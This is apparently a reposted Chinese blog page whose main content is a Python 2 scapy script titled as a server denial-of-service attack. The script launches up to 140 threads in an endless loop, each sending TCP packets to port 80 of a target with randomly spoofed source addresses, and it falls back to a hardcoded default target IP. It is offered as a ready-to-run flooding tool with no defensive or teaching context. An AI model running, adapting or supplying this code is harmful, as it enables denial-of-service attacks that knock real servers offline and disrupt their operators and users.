zoukankan      html  css  js  c++  java
  • python服务器拒绝服务器攻击


    # -*- coding: cp936 -*-
    from scapy.all import *
    from threading import Thread,activeCount
    from random import randint
    class Loop(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            ip = str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))+'.'
                 +str(randint(0,255))
            sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
           
    class Main(Thread):
        def __init__(self,remoteAddr):
            Thread.__init__(self)
            self.remoteAddr = remoteAddr
        def run(self):
            limit = 140
            total = 0

            while True:
                if activeCount() < limit:
                    Loop(remoteAddr = self.remoteAddr).start()
                    total = total + 1
                print '目前已经进行的HttpFlood的次数为:',total
    if __name__ == '__main__':
        remoteAddr = raw_input('IP=')
        if remoteAddr == '':
            remoteAddr = '202.103.25.12'

        Main(remoteAddr = remoteAddr).start()

    http://www.jb51.net/article/45771.htm

  • 相关阅读:
    行内元素知识点
    WPF可视化控件打印
    C#模拟网站用户登录
    不同版本的浏览器代理编码
    WPF弹出对话确认框
    MSDN中HttpWebRequest/HttpWebResponse用法
    C#Http编程
    WPF ICommand 用法
    详述.NET里class和struct的异同
    WPF页面切换及弹窗
  • 原文地址:https://www.cnblogs.com/enet01/p/6560264.html
Copyright © 2011-2022 走看看